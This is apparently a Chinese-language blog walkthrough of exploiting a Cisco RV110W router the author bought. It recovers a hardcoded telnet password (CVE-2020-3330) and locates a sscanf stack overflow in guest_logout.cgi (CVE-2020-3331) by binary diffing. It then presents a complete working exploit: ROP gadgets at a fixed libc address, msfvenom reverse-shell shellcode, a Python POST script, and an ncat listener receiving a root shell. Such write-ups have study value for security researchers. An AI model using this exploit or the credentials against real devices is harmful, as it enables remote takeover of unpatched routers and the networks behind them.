思科路由器 RV110W CVE-2020-3331 想打一台真正的路由器很久了 从闲鱼上买下来后经过了很长的时间,终于有空尝试一下 之所以选这个路由器,说白了就是因为网上的博客比较多,比较好参考。
前期准备
登入管理界面
先登入管理界面后查看固件版本 发现固件版本不对 考虑更新版本为1.2.2.5
如图所示,可以让你选择上传新固件的界面。
尝试和网关交互
使用ipconfig/ifconfig查看网关 尝试能不能ping通网关(这个路由器的默认网关ip为192.168.1.1)
ping 192.168.1.1
使用nmap扫描网关端口(root权限) 据说 如果是真实设备,需要扫描所有端口(花很长时间)
nmap -sU -sT -p0-65535 192.168.1.1
因为是路由器的题目,只需要
nmap 192.168.1.1
发现该路由器开启了telnet服务。
binwalk解包固件
我使用的binwalk较新,出现了安全的提示 因此需要使用如下命令
binwalk -Me RV110W_FW_1.2.2.5.bin --run-as=root
进入文件系统目录下 使用如下命令查看固件的文件类型
file ./sbin/rc
可以知道是mips32 小端
漏洞利用
前期准备完成后,我们可以开始漏洞利用了。
漏洞搜寻
首先根据前期找到的telnet服务 CVE-2020-3330 还有一个漏洞是 CVE-2020-3331
CVE-2020-3330
其实这个漏洞,说白了 就是telnet服务的密码以md5加密后的形式硬编码到了文件当中。 且其形式为 “UserID:md5(password)” UserID为admin 已知条件 其中 md5(password)的第一个字符为$ 所以,尝试在解包后的固件目录下搜寻
find . | grep -ri "admin:\\$"
可以找到文件名为rc 拖入ida分析找到md5
然后放入md5爆破网站中进行爆破
得到了密码 现在我们得到了telnet服务的完整登入信息 用户名: admin 密码 : Admin123
CVE-2020-3331
CVE-2020-3331是因为栈溢出继而任意代码执行的漏洞
定位漏洞点
注意,该漏洞是前台漏洞getshell 所以一般是带login的页面
所以在固件文件夹中搜寻
find . | grep -ri "login.cgi"
还真找到了
可以看到是 httpd程序,我们可以判断,漏洞存在于该文件之中
问题来了,我们要怎么找到这个漏洞呢?如果是自己一个个函数的看下去未免费时,而且还不一定找得到。
这里推荐一个软件bindiff bindiff是一款比较二进制文件的神器。 我们可以用这个版本的httpd文件和新一个版本的httpd文件进行对比(众所周知,固件的更新,一般是漏洞修补,或者增添新功能,提高功能效率等等,我们可以从这里找到原版本httpd文件和新版本的差异,从而定位漏洞点),非常高效
下载网址 bindiff 选择bindiff最新版的msi进行安装 注意,安装的时候直接选择安装在ida的文件夹下!!!!! 再注意,安装的路径中最好不要出现中文!!!!
接下来我们要做的就是从cisco的官网中找到RV110W的新版固件 新版固件下载网址
这个版本的固件是1.2.2.8,而我们的使用固件版本为1.2.2.5 满足条件而且差得版本不是很多,可以比较(注意比较的文件所在位置也不能有中文!!!)
比较结果如下:
这里科普一下这些颜色
绿色:相同的基本块
黄色:修改的基本块
红色:删掉的基本块
灰色:新加的基本块
换句话说,黄色和红色是我们的目标 因为是前台漏洞,guest_logout_cgi比较符合我们的目标
右击它选择流程图
仔细查看,发现 存在sscanf函数 这是一个危险函数,因而存在漏洞 在ida中找到该函数
sscanf的规则如下:
%[^;]:分号前的所有字符都要
;%*[^=]:分号后,等号前的字符都不要
=%[^\n]:等号后,换行符前的所有字符都要
举个例子 aaa;bbb=ccc,那么v29是aaa,v28是ccc 注意v28,v29存在在栈中,且sscanf没有限制他们的长度,存在栈溢出漏洞
接下来我们看如何能够走到sscanf函数 仔细看完有3参数要过关
cmac:mac地址格式
cip:ip地址格式
submit_button: 包含status_guestnet.asp
还是注意,这是一个前台漏洞,要发送到路由器中 我们需要确定这是使用get方法还是post方法发送的
import requests
url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'a'*100,"cip":"192.168.1.100"}
#requests.get(url, data=payload, verify=False, timeout=1)
requests.post(url, data=payload, verify=False, timeout=1)
经过测试,发送get请求没有效果 但是发送post请求后,再登入路由器的界面发现登入不了
可以确定是post请求~
漏洞调试
可以利用之前提到的 CVE-2020-3330漏洞,我们可以传送gdbserver到路由器中进行调试
使用python开启一个小型服务器来进行文件传输(十分方便)
python -m http.server 8080
然后用telnet登入路由器后,输入以下命令(注意,主机必须关闭防火墙!!!不然是收不到东西的)
cd tmp
wget "http://192.168.1.100:8080/gdbserver"
chmod +x gdbserver
之所以要进入tmp文件夹,是因为其他目录下只有读权限
使用gdbserver附加httpd程序,首先我们要找到httpd程序的进程号
ps | grep httpd
可以看的httpd有两个进程,但是有用的是 http -S (测出来的)
使用gdbserver进行附加
./gdbserver :1234 --attach 356
在本地下,进入gdb-multiarch 输入以下命令
set architecture mips
set endian little
target remote 192.168.1.1:1234
使用cyclc生成溢出字符串
按c继续
然后使用刚刚的python 发送post请求的脚本发送请求后
确定发生了溢出,且溢出点偏移为85
漏洞实施
因为mips 架构下不支持NX,所以可以使用shellcode 由于sscanf栈溢出,所以不能有空字节,而程序本身的gadget都带有空字节 考虑使用libc下的gadget
有一个点,它的libc基址每次都不变,一直都是2af98000
思科的这个设备,httpd进程的libc基址就是2af98000,无论你是重启进程,还是升级版本,这个基址都不变
问了常老师,再次猜测可能是为了效率,编译的时候就把内核的这个功能干掉了,或者当前平台压根就不支持这个功能。先存疑,总之我们发现动态库的基址都是不变的,故我们可以使用程序加载的动态库中的gadget。
于是我们使用mipsrop来查找gadget mipsrop是ida的比较好用的一个插件
mipsrop.help() #用来查看用法
mipsrop.stackfinders() # 跳转到栈所示地址的gadget
这两天gadget是有用的
| 0x000257A0 | addiu $a0,$sp,0x58+var_40 | jalr $s0 |
| 0x0003D050 | move $t9,$a0 | jalr $a0 |
接下来是编写shellcode
编写shellcode可以使用msf中的msfvenom来编写
使用如下命令
msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.1.102 LPORT=8888 --arch mipsle --platform linux -f py -o shellcode.py
可以看到shellcode.py中就有shellcode
exp
import requests
from pwn import *
context(arch='mips',endian='little',os='linux')
libc = 0x2af98000
jmp_a0 = libc + 0x0003D050 # move $t9,$a0 ; jalr $a0
jmp_s0 = libc + 0x000257A0 # addiu $a0,$sp,0x38+var_20 ; jalr $s0
buf = b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
buf += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x66\x0e\x3c\xc0"
buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += b"\x01\x01"
pd1 = b"status_guestnet.asp" + b'a' * 0x31 + p32(jmp_a0) + b'b' * (85 - 49 - 4) + p32(jmp_s0) + b'c' * 0x18 + buf
url = "https://192.168.1.1/guest_logout.cgi"
pd2 = {
"cmac": "12:af:aa:bb:cc:dd",
"submit_button": pd1,
"cip": "192.168.1.102"
}
requests.packages.urllib3.disable_warnings()
requests.post(url, data=pd2, verify=False, timeout=300)
实施攻击(注意,如果是在虚拟机中,虚拟机选项一定得是桥接模式!!!不然你收不到回弹的信息)
首先使用nact开启监听
ncat -lv 8888
然后调用脚本
python3 exp.py
监听的端口收到了回弹的shell
实施成功!